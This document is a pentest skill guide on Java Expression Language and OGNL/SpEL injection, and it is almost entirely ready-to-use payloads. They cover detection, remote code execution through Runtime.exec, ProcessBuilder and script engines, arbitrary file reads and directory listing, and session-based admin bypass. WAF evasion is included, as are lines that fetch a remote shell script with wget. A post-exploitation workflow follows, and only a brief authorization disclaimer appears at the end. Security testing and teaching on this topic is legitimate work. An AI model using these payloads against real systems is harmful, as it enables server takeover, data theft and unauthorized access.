EL Injection Exploitation

Expression Language (EL) injection is a critical vulnerability in Java applications that allows attackers to execute arbitrary code by injecting malicious expressions into template engines.

When to Use This Skill

• Testing Java web applications for EL injection vulnerabilities
• Analyzing JSP, JSF, or Spring-based applications
• Exploiting template injection in Java environments
• Bypassing WAFs for EL injection payloads
• Conducting authorized penetration testing on Java applications

Detection Methods

1. Basic Detection Payloads

Test for EL injection with these payloads:

# String operation test
${"zkz".toString().replace("k", "x")}
# Expected: zxz (if vulnerable)

# Simple math evaluation
${7*7}
# Expected: 49

# Class access test
${"".getClass()}
# Expected: class java.lang.String

2. Blind Detection (Time-Based)

# Sleep for 10 seconds
${"".getClass().forName("java.lang.Thread").sleep(10000)}

# OGNL sleep variant
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString}

3. Burp Detection Pattern

# Inject in parameter value
gk6q${"zkz".toString().replace("k", "x")}doap2
# If response shows "gk6qzxzdoap2", injection is confirmed

Exploitation Payloads

Basic Operations

# String manipulation
${"a".toString()}
${"dfd".replace("d","x")}

# Class access
${"".getClass()}
${"".getClass().forName("java.util.Date")}

# List class methods
${"".getClass().forName("java.util.Date").getMethods()[0].toString()}

Remote Code Execution (RCE)

Method 1: Runtime.exec()

# Basic RCE
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}

# With command output capture
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}

Method 2: ProcessBuilder

# ProcessBuilder RCE
${"".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY>).start()}

# Full ProcessBuilder example
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}

Method 3: ScriptEngineManager

# JavaScript engine RCE
${"a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}

# Alternative with facesContext
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder;x.command(\"wget\",\"http://x.x.x.x/1.sh\");")}

Method 4: OGNL-based RCE

# Linux RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="/bin/sh",#ssss[1]="-c",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}

# Windows RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="cmd",#ssss[1]="/C",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}

File Operations

Remote File Inclusion

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=new java.io.FileInputStream(#wwww),#qqqq=new java.lang.Long(#wwww.length()),#tttt=new byte[#qqqq.intValue()],#llll=#pppp.read(#tttt),#pppp.close(),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(new java.lang.String(#tttt)),#kzxs.close(),1?#xx:#request.toString}

Directory Listing

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=#wwww.listFiles(),#qqqq=@java.util.Arrays@toString(#pppp),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(#qqqq),#kzxs.close(),1?#xx:#request.toString}

Environment Inspection

# Access application scope
${applicationScope.toString()}

# Access request scope
${requestScope.toString()}

# Access session scope
${sessionScope.toString()}

# Access init parameters
${initParam.toString()}

# Access HTTP parameters
${param.X}  # Replace X with parameter name

# Access custom variables
${user}
${password}
${employee.FirstName}

Authorization Bypass

# Set admin flag in session
${pageContext.request.getSession().setAttribute("admin", true)}

# Alternative session manipulation
${session.setAttribute("admin", true)}

WAF Bypass Techniques

1. Character Encoding

# URL encoding
${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS}

# HTML entities
${$"".getClass()}

2. Alternative Syntax

# Bypass getClass restriction
#{""["class"]}
#{""["class"].forName("java.lang.Runtime")}

# Using session storage
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

3. Spring Expression Language (SpEL) Variants

# T() function for static method calls
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')

# StreamUtils for output capture
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())

# Environment variable access
T(java.lang.System).getenv()[0]

Testing Workflow

Step 1: Identify Potential Injection Points

Look for:

• .jsp

  or

  .jsf

  file extensions
• "Servlet" in response headers
• Stack traces mentioning EL or template engines
• User input reflected in responses
• Parameters that might be evaluated as expressions

Step 2: Run Detection Tests

1. Start with basic payloads to confirm vulnerability
2. Test blind detection if no output is visible
3. Verify the EL version and available features

Step 3: Escalate to RCE

1. Use Runtime.exec() for basic command execution
2. Try ProcessBuilder for more complex commands
3. Use ScriptEngineManager for JavaScript-based payloads
4. Capture output using IOUtils or StreamUtils

Step 4: Post-Exploitation

1. Inspect environment variables and scopes
2. Access sensitive data from session/request
3. Bypass authorization if needed
4. Maintain access through file operations

Safety and Legal Considerations

⚠️ IMPORTANT: Only use these techniques on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal.

• Always obtain written permission before testing
• Document all findings for the client
• Use these payloads in controlled environments
• Report vulnerabilities responsibly

References

• Exploiting OGNL Injection
• RCE with EL Injection
• PayloadsAllTheThings - SSTI
• SPeL Injections
• Spring EL WAF Bypass
• Pentest-Tools EL Tutorial